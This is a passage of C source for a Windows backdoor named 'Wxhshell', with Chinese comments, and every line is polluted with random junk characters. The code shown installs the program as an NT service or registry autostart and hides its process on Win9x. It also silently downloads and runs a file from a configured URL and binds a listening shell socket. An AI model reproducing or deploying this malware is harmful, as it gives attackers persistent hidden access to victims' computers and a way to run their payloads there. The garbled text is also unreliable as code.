ULONG InheritedFromUniqueProcessId; \(I0wEQo$
} PROCESS_BASIC_INFORMATION; {esJ=FV\
U{6oLqwq3Y
PROCNTQSIP NtQueryInformationProcess; `@[l\.Vt:
]r4bRK[1
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; qO-9
x0v#
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /<);=&[
QK)){cK
HANDLE hProcess; JB3 "EFv
PROCESS_BASIC_INFORMATION pbi; (n,u|}8Y
4({(i
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); C{EAmv'
if(NULL == hInst ) return 0; oM!xz1kVL
:.kZR;
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 07V8;A<,
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,7W:fwdR
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {(
#zcK
bu>qsU3
if (!NtQueryInformationProcess) return 0; $B;_Jo\|
WJ|:kuF
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); f`jc#f5+'
if(!hProcess) return 0; nVE9^')8V
Z(j{F<\jS
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6i.gyD
';0 qj$#
CloseHandle(hProcess); J'b<z.OW
}pVTTs`
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); F/p,j0S
if(hProcess==NULL) return 0; y%S1ZTScO
.%}?b~
HMODULE hMod; 7tNc=,x}
char procName[255]; rq sdE
unsigned long cbNeeded; `:eU.
-&|:0#@P
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {`(>O"_[Q
{o0qUX>[
CloseHandle(hProcess); ^Dg<Ki
sV/l5]b]
if(strstr(procName,"services")) return 1; // 以服务启动 mMSh2B
\ \06T`
return 0; // 注册表启动 \P;rES'
} o! OMm!
f$.?$
// 主模块 FS6<V0pil
int StartWxhshell(LPSTR lpCmdLine) +uo{ m~_4
{ >G~mp<L
SOCKET wsl; 4[yIOs
BOOL val=TRUE; ?WUF!Jk
int port=0; &;E5[jO^D
struct sockaddr_in door; >5hhd38
(@r
`$5D.b
if(wscfg.ws_autoins) Install(); iCj2"T4TN
r@U3sO#N
port=atoi(lpCmdLine); %c|UmKKi
b0v:12q
if(port<=0) port=wscfg.ws_port; ;{#^MD MB
26 I
WSADATA data;
foRD{Hx
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Os&n
)@gZ;`n
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;
mO*^1
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ehNzDr\s
door.sin_family = AF_INET; tz^/J=)"
door.sin_addr.s_addr = inet_addr("127.0.0.1"); Y ^KTkS0D
door.sin_port = htons(port); :i~W
}r
2f>PO +4S{
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >&,[H:Z
closesocket(wsl); ,](:<A)W&
return 1; _;1}x%4v
} >j*;vG5T
WIr2{+#
if(listen(wsl,2) == INVALID_SOCKET) { 'G&{GVbXY
closesocket(wsl); r%@Lej5+
return 1; \f:z+F!6R
} 7ZxaPkIu&%
Wxhshell(wsl); urBc=3Rz
WSACleanup(); rH8@69,B
B9R(&<4
return 0; 8uNULob
Jzkq)]M
} 0NDftcB]
oF]cTAqhC.
// 以NT服务方式启动 |re}6#TgcT
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 2P#=a?~[
{ #KxbM-1=
DWORD status = 0; e~l#4{w
DWORD specificError = 0xfffffff; ;U9J++\d<A
^y!;xc$(Qs
serviceStatus.dwServiceType = SERVICE_WIN32; (*p ,T
serviceStatus.dwCurrentState = SERVICE_START_PENDING; ]rehW}
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; sRSz}]
serviceStatus.dwWin32ExitCode = 0; o*WY=
serviceStatus.dwServiceSpecificExitCode = 0; dCyqvg6u
serviceStatus.dwCheckPoint = 0; (8$k4`T>
serviceStatus.dwWaitHint = 0; 1MlUG5
!RB)_7
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); <"N_j]wD
if (hServiceStatusHandle==0) return; vhbDb)J
O.aG[wm8
status = GetLastError(); cH'
iA.
if (status!=NO_ERROR) Q?b14]6im
{ Fm\"{)V:b
serviceStatus.dwCurrentState = SERVICE_STOPPED; in+}/mwfC
serviceStatus.dwCheckPoint = 0; (jjTK'0[
serviceStatus.dwWaitHint = 0; M_v?9L
serviceStatus.dwWin32ExitCode = status; j9Ybx#
serviceStatus.dwServiceSpecificExitCode = specificError; ^G&3sF}
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^d}gpin
return; }KUd7[s
} hu_ ^OlF
:x.7vZzxs
serviceStatus.dwCurrentState = SERVICE_RUNNING; o[oM8o<
serviceStatus.dwCheckPoint = 0; m!<i0thJ
serviceStatus.dwWaitHint = 0; m>USD?i
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); w(ln5q
} ,}oM-B
F+R?a+e
// 处理NT服务事件,比如:启动、停止 E )Gw0]G
VOID WINAPI NTServiceHandler(DWORD fdwControl) O[tvR:Nh
{ Q!-
0xlx
switch(fdwControl) Jk@]tAwoM
{ 7C#`6:tI
case SERVICE_CONTROL_STOP: {3;AwhN0H
serviceStatus.dwWin32ExitCode = 0; &'cL%.
serviceStatus.dwCurrentState = SERVICE_STOPPED; vEf4HZ&w
serviceStatus.dwCheckPoint = 0; hfpJ+[
serviceStatus.dwWaitHint = 0; mxor1P#|
{ !cKz7?w
SetServiceStatus(hServiceStatusHandle, &serviceStatus); =qN2Xg/
} rpeJkG@+
return; SJD@&m%?[
case SERVICE_CONTROL_PAUSE: u\&b4=nL
serviceStatus.dwCurrentState = SERVICE_PAUSED; 8!.ojdyn
break; U*90m~)
case SERVICE_CONTROL_CONTINUE: EY*(Bw
serviceStatus.dwCurrentState = SERVICE_RUNNING; R1Sy9x .
break; HhO".GA
case SERVICE_CONTROL_INTERROGATE: oFOnjK"|F
break; %ZHP2j
%~
}; "KcA
SetServiceStatus(hServiceStatusHandle, &serviceStatus); n>@oBG)!
} >WY#4
pv|Pm
// 标准应用程序主函数 R$; n)_H
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) y#}cC+;
{ (&/2\0QV
}VDqj}is
// 获取操作系统版本 %$%&m1Y
OsIsNt=GetOsVer(); {U&.D
[{&
GetModuleFileName(NULL,ExeFile,MAX_PATH); vJAZ%aW
!9 fz(9
// 从命令行安装
:W b j\
if(strpbrk(lpCmdLine,"iI")) Install(); IV\J3N^
2WUT/{:X
// 下载执行文件 Uj&W<'I
if(wscfg.ws_downexe) { xsWur(> ]
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \*=7#Vd
WinExec(wscfg.ws_filenam,SW_HIDE); 'SQG>F Uy
} (sVi\R
nUkaz*4qU
if(!OsIsNt) { f~ }H
// 如果时win9x,隐藏进程并且设置为注册表启动 !i=nSqW
HideProc(); [M+f-kl
StartWxhshell(lpCmdLine); J2uZmEt
} N0#JOu}~
else [@yV!#2
if(StartFromService()) =8U&[F
// 以服务方式启动 g{5A4|_7
StartServiceCtrlDispatcher(DispatchTable); >X*Mio8P#
else sz9L8f2
// 普通方式启动 CI3XzH\IX*
StartWxhshell(lpCmdLine); `/Y{ l
yf&7P;A
return 0; re> rr4@
}